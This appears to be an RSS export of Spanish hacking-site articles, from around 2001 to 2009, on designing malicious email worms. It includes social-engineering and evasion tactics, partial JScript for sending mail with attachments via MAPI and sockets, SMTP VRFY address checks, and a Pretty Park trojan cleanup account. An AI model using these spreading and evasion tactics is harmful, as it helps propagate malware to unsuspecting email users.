<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.H.E. - HackIndex (es.comp.hackers) &#187; hackindex</title>
	<atom:link href="http://www.hackindex.com/index.php/tag/hackindex/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hackindex.com</link>
	<description>Articulos y Noticias sobre Seguridad Informatica y Redes</description>
	<lastBuildDate>Sat, 29 May 2010 21:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Psicología de los mensajes de correo maligno IIa</title>
		<link>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/</link>
		<comments>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 11:57:46 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[correos malignos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=275</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Psicología de los mensajes de correo maligno IIa Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Psicología de los mensajes de correo maligno IIa<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, (y todos los que preceden a este artículo) se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo &#8220;iloveyou&#8221; o &#8220;timofónica&#8221;.</p>
<p>      (*) Llamados por mi MCM.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p> Hola, no me he perdido en el espacio, voy a entrar al grano con lo que tengo, aunque os advierto que no tengo cosas acabadas, sino a medio acabar y con problemas, ya os comentaré. Habíamos quedado que en el primer mensaje de la segunda parte cubriríamos los siguientes puntos:</p>
<p>* Envío de un mail por MAPI usando JavaScript.<br />
* Envío de un mensaje por SMTP usando JavaScript.<br />
* Detección de que una cuenta de correo existe, usando SMTP.</p>
<p>   Comenzamos con el envío de mails, usando MAPI:</p>
<p>&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;////////////////////////////////////////////////////////////////////////<br />
//<br />
// Envío de mail usando MAPI desde JavaScript<br />
//<br />
///////////////////////////////////////////////////////////////////////</p>
<p>main()</p>
<p>function main()<br />
{</p>
<p>// Inicializamos las variables<br />
      var objOL;<br />
      var objMapi;<br />
      var objMail;<br />
      var sTexto;</p>
<p>// Creamos los objetos<br />
   objOL   = WScript.CreateObject(&#8220;Outlook.Application&#8221;);<br />
   objMapi = objOL.GetNameSpace(&#8220;Mapi&#8221;);<br />
   objMail = objOL.CreateItem(0);</p>
<p>   objMail.Recipients.Add(&#8220;<a href="mailto:Lokutus@galactica.com">Lokutus@galactica.com</a>&#8220;);<br />
   objMail.Subject = &#8220;Esto es el suject del correo&#8221;</p>
<p>   sTexto = &#8220;Y esto es el cuerpo del mensaje.\n&#8221;;<br />
   sTexto = sTexto + &#8220;y a continuación viene el fichero adjunto.\n\n&#8221;;</p>
<p>   objMail.Body = sTexto;<br />
   objMail.Attachments.Add(&#8220;C:\Fichero.txt&#8221;)<br />
   objMail.Send;</p>
<p>} // main&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</p>
<p>Naturalmente, el fichero tiene que tener la extensión .js. He de advertir que no he podido comprobar si funciona, pues tengo problemas con la clase de automatización. (un OCX que se me habrá borrado, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_neutral.gif' alt=':-|' class='wp-smiley' />  ), por lo que quien lo quiera usar tendrá que comprobarlo.</p>
<p>Como esto ya está muy visto, al menos en VBS, voy a intentar hacerlo usando un OCX de comunicaciones por sockets, esa OCX está, o debe estar, en:</p>
<p>C:\Windows\System\MSWINSCK.OCX</p>
<p>Si alguien tiene VC++ o Visual Basic es muy probable que la tenga, decidme los demas si lo teneis, pues ahora no sé si viene por defecto con windows.</p>
<p>Para comprobar que está se puede usar el siguiente fichero Chequeo.JS</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;      var objSocket;</p>
<p>   objSocket = new ActiveXObject(&#8220;MSWinsock.Winsock&#8221;);<br />
   if (objSocket == null)<br />
   {<br />
      WScript.Echo(&#8220;Error inicializando el control Active X&#8221;);<br />
   }<br />
      else<br />
   {<br />
      objSocket.AboutBox();<br />
   }&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>También, y para que haga algo util, podeis meter en el else las siguientes líneas:</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;      var sInfo;</p>
<p>   sInfo = &#8220;\nNombre Maquina: &#8221; + objSocket.LocalHostName;<br />
   sInfo = sInfo + &#8220;\n\nDirección IP: &#8221; + objSocket.LocalIP + &#8220;\n&#8221;;<br />
   WScript.Echo(sInfo);&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>Son muchos los que preguntan, ¿Como puedo saber mi dirección IP?, pues ya lo tienen, un Java Script.</p>
<p>¿Y como he sacado eso de &#8220;MSWinsock.Winsock&#8221; necesario para inicializar el OCX?, ¿Y los nombres de los métodos exportados?</p>
<p>Usando la herramienta &#8220;Active X Control Test Container&#8221;, es la que viene con las herramientas de M$, aunque mi imagino que existirán otras herramientas mejores para esa tarea, ¿Alguien conoce alguna?.</p>
<p>Tambien he usado el Active X Control Test Container para hallar que métodos exporta la clase.</p>
<p>He llegado hasta aquí, este es el código que tengo actualmente, que no me funciona del todo bien, consigo conectarme y desconectarme a sitios, pero no consigo enviar ni recibir nada.</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..</p>
<p>&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;////////////////////////////////////////////////////////////////<br />
//   Los primeros pinitos con el OCX de sockets y Java Script //<br />
////////////////////////////////////////////////////////////////</p>
<p>main()</p>
<p>function main()<br />
{</p>
<p>      var objSocket;<br />
      var sCadena;</p>
<p>   objSocket = new ActiveXObject(&#8220;MSWinsock.Winsock&#8221;);<br />
   if (objSocket == null)<br />
      WScript.Echo(&#8220;Error inicializando el control Active X&#8221;);<br />
   } else {<br />
      // 0 = TCP, 1 = UDP<br />
      objSocket.Protocol   = 0;<br />
      // Tiene que ser numérico<br />
      objSocket.RemotePort = 80;<br />
      // No vale dirección IP, da error<br />
      objSocket.RemoteHost = &#8220;<a href="http://www.microsoft.com">www.microsoft.com</a>&#8220;;</p>
<p>      // Un chequeo innecesario<br />
      sCadena = &#8220;\n Host: &#8221; + objSocket.RemoteHost + &#8220;\n Puerto : &#8221; + objSocket.RemotePort + &#8220;\n&#8221;;<br />
      WScript.Echo(sCadena);</p>
<p>      // Me conecto<br />
      objSocket.Connect();<br />
      while (objSocket.State &amp;gt; 7)<br />
      {<br />
         sCadena = &#8220;Conectando : &#8221; + objSocket.State;<br />
         WScript.Echo(sCadena);<br />
      } // while</p>
<p>      // El estado de conectado es el 7, (ver tabla siguiente)</p>
<p>    // Código guarro y comentado, de diferentes pruebas</p>
<p>//      if (objSocket.State == 7) {<br />
//         sCadena = &#8220;Se supone que estoy conectado : &#8221; + objSocket.State;<br />
//         WScript.Echo(sCadena);<br />
//      } else {<br />
//         sCadena = &#8220;Algo ha fallado: &#8221; + objSocket.State;<br />
//         WScript.Echo(sCadena);<br />
//      } // if<br />
      sCadena = &#8220;&#8221;;</p>
<p>//      var iCont;<br />
//      objSocket.SendData(&#8220;Hola\n&#8221;);<br />
for (iCont = 0; iCont &amp;gt; 10; iCont ++) {<br />
//         objSocket.SendData(&#8220;Hola\n&#8221;);<br />
         objSocket.GetData(sCadena);<br />
         WScript.Echo(&#8220;[" + sCadena + "] &#8221; + objSocket.BytesReceived + &#8221; &#8221; +<br />
objSocket.State);<br />
      }</p>
<p>      objSocket.Close()</p>
<p>   } // if</p>
<p>} // main&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</p>
<p> </p>
<p>En realidad el método GetData, tiene otros dos métodos adicionales, que son opcionales</p>
<p>          GetData(data, tipo, maxlen)</p>
<p>Eso si, no son del tipo Variant, no se si mi problema es debido a eso, del segundo parámetro he encontrado las siguientes constantes que están definidas en Visual Basic, pero no se cual debe ser su valor</p>
<p>   Byte                    vbByte<br />
   Entero                 vbInteger<br />
   Largo                  vbLong<br />
   Simple                 vbSingle<br />
   Doble                  vbDouble<br />
   Moneda               vbCurrency<br />
   Fecha                  vbDate<br />
   Booleano             vbBoolean<br />
   SCODE               vbError<br />
   Cadena               vbString<br />
   Matriz de bytes    vbArray + vbByte</p>
<p>Y para la función, State, si que se los valores</p>
<p>0    Predeterminado. Cerrado<br />
1    Abierto<br />
2    Escuchando<br />
3    Conexión pendiente<br />
4    Resolviendo host<br />
5    Host resuelto<br />
6    Conectando<br />
7    Conectado<br />
8    El equipo está cerrando la conexión<br />
9    Error</p>
<p>   Más info, en el MSDN</p>
<p>Tengo tambien otro problema al conectar, no se conecta inmediatamente, si escribo algo como</p>
<p>      objSocket.Connect();<br />
      objSocket.GetData(sCadena);</p>
<p>Salta un evento de error, tengo que parar el script antes del GetData, pero no se como hacerlo.</p>
<p>Se que existen eventos del tipo OnConnect(), aunque aun así tendria que apañarmelas para parar el hilo.</p>
<p>Por ultimo, y como simple comentario, el OCX se puede usar también para hacer servidores, pues tiene los métodos Listen, Accept y Bind.</p>
<p>Para resolver los problemas, he pensado que sería más cómodo usar HTML, tal y como me han comentado &#8220;Elete&#8221;, además con HTML si se manejar eventos. Los HTML compilados, ¿son los CHM?</p>
<p>¿Qué herramienta necesito para compilar HTML?</p>
<p>Os dejo una cuantas preguntas por si alguien quiere investigar un poco.<br />
El tercer punto, sólamente es posible si está resuelto el segundo, consiste en interrogar al servidor de correo si un destinatario existe, truco que usan los spammer para saber si les estamos intentando engañar con mensajes devueltos falsos.</p>
<p>        VRFY <a href="mailto:cuenta@servidor.com">cuenta@servidor.com</a><br />
 2XX   OK      &amp;gt;&#8211; La cuenta existe</p>
<p>              ó</p>
<p>       5XX      &amp;gt;&#8211; La cuenta no existe.</p>
<p>El MTU pregunta al MTU de destino si hace falta.<br />
      Lokutus, asimilando la red.<br />
Postdata: los últimos antivirus de red que se instalan en el servidor de correo, (p.e. McAfee en MCIS), eliminan de forma radical cualquier mensaje de correo que tenga un fichero VBS o JS añadido. No se si tambien los CHM, ¿?</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Psicología de los mensajes de correo maligno I</title>
		<link>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:17:35 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[correos malignos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[ILoveYou]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[LifeStages]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[timofonica]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=258</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Psicología de los mensajes de correo maligno I Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Psicología de los mensajes de correo maligno I<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo&#8221;iloveyou&#8221; o  &#8220;timofónica&#8221;.</p>
<p>(*) De ahora en adelante los llamo MCM para abreviar.<br />
1 &#8211; INTRODUCCION</p>
<p>En este primer mensaje me centraré en el diseño &#8220;psicológico&#8221; de un posible MCM y una introducción a lo que serían las carácterísticas de diseño, en la segunda parte, se desarrollarían aquellas partes de codigo que considero interesantes, aunque eso sí, sin acabar nunca de desarrollar el MCM, de tal forma que el código enviado como ejemplo sólo pueda ser utilizado por personas con conocimientos suficientes para comenzarlo desde el principio y evite la transmisión de MCM por parte de &#8220;lamers&#8221; o gente que quiera usarlo de forma personalizada para realizar venganzas personales.</p>
<p>En la tercera parte, propondré posibles soluciones, algunas de ellas ya existen. El conocimiento es una de esas soluciones, la ignorancia es uno de los principales factores que intervienen en la propagación de MCM y virus en general.</p>
<p>De esta primera parte, considero muy util su divulgación, lectura e incluso debate, pues considero que es mejor adelantarse a lo que puede venir que ser pillado por sorpresa.<br />
2 &#8211; LOS MCM HASTA AHORA</p>
<p>Hasta ahora los MCM tenían características similares a la siguiente.</p>
<p>- Utilizaban un engaño basado en la ocultación de extensiones de ficheros, por ejemplo:</p>
<p>Un fichero con el nombre &#8220;pepe.txt.exe&#8221; se vería como &#8220;pepe.txt&#8221;</p>
<p>- Algunos de esos MCM, (los ejecutables con extensión exe), usaban un icono como el que usa el editor de Windows para reforzar el engaño.</p>
<p>-  Los más utilizados hasta ahora han sido los &#8220;.EXE&#8221; y los &#8220;.VBS&#8221; de tal forma que mucha gente evita como la peste esas extensiones y algunos desarrolladores, están empezando a usar otras extensiones. Como es el caso del LifeStages que utiliza una extensión .SHS</p>
<p>- Normalmente utilizan toda la ingeniería social que pueden, como es el caso del ILOVEYOU.</p>
<p>- Hasta ahora, se trataba de un único fichero, el que se enviaba.</p>
<p>- En algunos, tratan de evitar su desactivación, copiandose a muchos sitios diferentes, y alterar varias entradas del registro.</p>
<p>- En la mayoría de los casos, en el momento en el que llega a la cuenta de correo de un usuario experto, la existencia del MCM es descubierta en el entorno en el que se mueve ese usuario experto, y en algunas ocasiones, por las empresas desarrolladoras de antivirus.</p>
<p>- Excepto en algunos pocos casos, suelen utilizar el interfaz MAPI como mecanismo de envío de mensajes. Lo que hace que no pueda propagarse en aquellas máquinas de usuarios de otros lectores de correo.</p>
<p>- Normalmente, se envían a direcciones de la carpeta de direcciones, y de uno en uno.</p>
<p>3 &#8211; COMPORTAMIENTO DE LOS USUARIOS DE EMAIL.</p>
<p>Este apartado, está basado en cuanto a mi experiencia propia, viendo en muchas ocasiones qué tipo de correos se envían y reciben en los centros de trabajo donde disponen de correo electrónico, y de varias listas de correo informales y puede diferir con lo experimentado por otras personas.<br />
- En general, la mayoría de los usuarios saben que no deben abrir cualquier cosa que se les envíe, sobre todo de desconocidos.</p>
<p>- Es corriente, que formen grupos de amistades, y se envíen chistes, fotos, (pornográficas o humorísticas o salvajes), ficheros mpeg o avi con anuncios graciosos.</p>
<p>- Antes he comentado que los MCM solían tener un único fichero adjunto, (que yo sepa), y sin embargo, en los mensajes de correo que se suelen enviar entre amiguetes, es normal que haya 4 ficheros jpeg. o tres ficheros de texto repletos de chistes. o un par de zips, e incluso uno o dos mpeg, (o uno sólo si es muy grande).</p>
<p>- A veces, suelen enviar en mensaje de correo, dentro de otro mensaje de correo, (no recuerdo las cabeceras de los mensajes salvados del OutLook), pero suelen aparecer como un icono.</p>
<p>- Sigue siendo corriente que se sigan enviando ficheros ejecutables EXE, la mayoría de estos ficheros suelen contener animaciones hechas con aplicaciones del tipo Macromedia. (Un ejemplo de lo que digo es la película completa en dibujos animados de la guerra de las galaxias que está en noticias.com).</p>
<p>- Los &#8220;emails lúdicos&#8221;, generalmente, suelen tener varios destinatarios, y no uno sólo, como suele ser el caso de los MCM.<br />
4 .- CONSIDERACIONES DE INGENIERIA SOCIAL EN LA TRANSMISION DE UN MCM</p>
<p>Para que un MCM tenga éxito:</p>
<p>- Debe ser capaz de engañar al máximo posible al usuario que lo recibe, inspirandole la suficiente confianza para que pinche en el icono.</p>
<p>Por ese motivo, debe llegar de personas con las que normalmente se intercambia correo de tipo lúdico, no de trabajo. Por ejemplo, en el caso del &#8220;ILoveYou&#8221;, es difícil se engañado si llega de alguien con quien sólo tienes relaciones por correo de trabajo.</p>
<p>- Debe tratar de evitar en la medida de lo posible, el ser descubierto, y para ello, debe ser capaz de dar lo que se espera que dé.</p>
<p>Por ejemplo, en el MCM &#8220;timofónica&#8221; y en el &#8220;LifeStages&#8221;, el usuario espera que se abra el notepad con un mensaje de texto plano, y efectivamente es lo que hace.</p>
<p>- Algunos usuarios se dan cuenta enseguida de que han ejecutado un MCM cuando la bandeja de salida se les llena de mensajes. Quizás sería una buena táctica no ser tan agresivo a la hora de enviar mensajes, y enviar pocos y mejor encaminados.</p>
<p>- En lugar de usar la libreta de direcciones, podría mirar los mensajes que están en la carpeta de mensajes enviados.</p>
<p>- Podría incluso contestar a los mensajes que están en la bandeja de entrada.</p>
<p>- El MCM podría llegar acompañado de varios ficheros, y al reenviarse, hacerlo con esos ficheros.</p>
<p>- Combinaciones interesantes podrían ser:</p>
<p>Enviar dos ficheros de texto con chistes, y el tercero un vbs.txt que genera el tercer fichero de texto.<br />
Enviar tres o cuatro jpeg, y entre medias un gif.vbs.</p>
<p>(en algunos clientes los jpeg se visualizan sin siquiera abrirlos, sería sospechoso que un jpeg se viese y otro no, por eso lo cambiaría a otra extensión, por ejemplo gif o incluso html.<br />
Y ahora bien, la ingeniería social está en:</p>
<p>&#8220;Me llega un mensaje que es una contestación a otro que he enviado y con varias fotos, no hay alarma, a pinchar tranquilamente&#8221;<br />
5 &#8211; CONSIDERACIONES DE DISEÑO.</p>
<p>Si fuese lo suficientemente perverso como para crear un MCM entero, lo haría de esta manera:</p>
<p>- Lenguaje de programación: JavaScript, tiene las mismas capacidades que el VBS, pues al estar soportado por WSH, dispone de las mismas capacidades que el VBS, (Acceso al registro de Windows, utilización de Active X, manejo de ficheros, etc).</p>
<p>- Búsqueda y uso de  SMTP  para envío de mensajes de correo electrónico, usando para ello el OCX de manejo de sockets. En el caso de que no funcione ninguno de los SMTP de la lista, (malditos spammers), o no se encuentre el OCX adecuado usará el ya conocido interfaz MAPI.</p>
<p>- El MCM tendrá la forma .gif.js, al ser ejecutado, generará un gif de pequeño tamaño.</p>
<p>- Investigación del formato en el que guardan los mensajes de NetScape y busqueda en la estructura de ficheros, para recuperar direcciones.</p>
<p>- retardo de 24 horas en el envio de mensajes.</p>
<p>- Envío de SMS, usando un camino alternativo al usado por el MCM &#8220;timofónica&#8221;, utilizando un CGI o accediendo a una web, (Sólo si se encuentra el OCX de TCP/IP).</p>
<p>- PAYLOAD:  Llevar la cuenta de ejecuciones, cuando lleve 10, crear un fichero HTML en el disco duro y llamar al navegador por defecto para que lo abra, el HTML tiene un bucle sin fin que abre ventanas.<br />
En el artículo siguiente sólo trataré los módulos:</p>
<p>Envío de un mail por MAPI usando JavaScript.<br />
Envío de un mensaje por SMTP usando JavaScript.<br />
Detección de que una cuenta de correo existe, usando SMTP, este último punto no es necesario,<br />
pero lo veo interesante, incluso para ser utilizado como una utilidad separada.</p>
<p>Y quizás en otro mensaje aparte que no tiene nada que ver con este, y si nadie se me adelanta, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> , envío de SMS sin usar el servicio Mail2SMS de movistar.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apreti pass</title>
		<link>http://www.hackindex.com/index.php/2001/06/apreti-pass/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/apreti-pass/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:16:29 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[prettypark]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=251</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Apreti pass Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Apreti pass<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Hola, me han enviado por email uno de esos troyanos que pululan por la red, en este caso el Pretty Park, aunque la versión antigua, y como siempre que me envían un virus o un troyano me pongo la mar de contento, ya tengo una victima más para asimilar, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )), he podido completar el script de detección y eliminación del Pretty Park que pongo en el grupo de binarios, junto con algunas cosas más.</p>
<p>El proceso de asimilación, lo he realizado en un ordenador aparte, un viejo 486, ejecutando intencionadamente el icono de &#8220;apreti pas&#8221; como yo lo llamo.</p>
<p>En la primera prueba con el script, al intentar introducir en el registro HKLM\SOFTWARE\Classes\exefile\shell\open\command el valor &#8220;&#8221;%1 &#8220;%*&#8221; me confundí en el script y me cargué el registro, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . Aunque el sistema seguía funcionando, no podía pararlo, y cuando ejecutaba un programa, no veía sus parámetros, por ejemplo, si hacía un &#8220;xcopy fichero1 fichero2&#8243;, no me lo copiaba.</p>
<p>Le pasé el RegClean.exe que está en <a href="http://www.microsoft.com">http://www.microsoft.com</a> y me quitó un montón de porquerías del registro, y eso que el sistema operativo estaba recien reinstalado, pero no me resolvió el problema.</p>
<p>Al final me dí cuenta que al escribir el valor &#8220;&#8221;%1 &#8220;%*&#8221;, lo puse al reves, y lo que tenía en el registro era &#8220;&#8221;%1 &#8220;*%&#8221;.</p>
<p>O sea, el %1 es el primer parámetro, el nombre del fichero y %* son todos los demás parámetros, si escribiese en el registro &#8220;&#8221;%1 &#8220;%2&#8243;, no habría posibilidad de pasar más de un parámetro a los programas, cogería el primero y los demás los descartaría. Simplemente no podía pasar parámetros a los programas por que Windows no sabía que hacer con &#8220;*%&#8221; que ignoraba. Probablemente, la parada del sistema se haga llamando a algún *.exe con un parámetro, y al no tener ese parámetro el ejecutable de parada no funcionaba.</p>
<p>Una vez funcionando el script limpiador, hice algunas pruebas más, por un lado lo he desensamblado para intentar extraer la rutina de ocultación en la tabla de procesos, no lo he conseguido todavía, cuando lo consiga veré si puedo meterla en el GranRAd como código inline, (nunca lo he hecho con Visual C++).</p>
<p>Por otro lado, tengo unos programitas interesantes que conseguí de <a href="http://www.sysinternals.com/">http://www.sysinternals.com/</a></p>
<p> regmon95.zip Tracea todos los accesos al registro de windows.<br />
 openlist.zip Mantiene una lista de ficheros bloqueados.<br />
 filemon.zip Tracea todos los accesos a disco.</p>
<p>Al ejecutar Pretty Park, me quedé asombrado de la cantidad de consultas que hace, el fichero *.log que he guardado lo tengo en el grupo es.misc.binarios, pero resumiendo hace lo siguiente:</p>
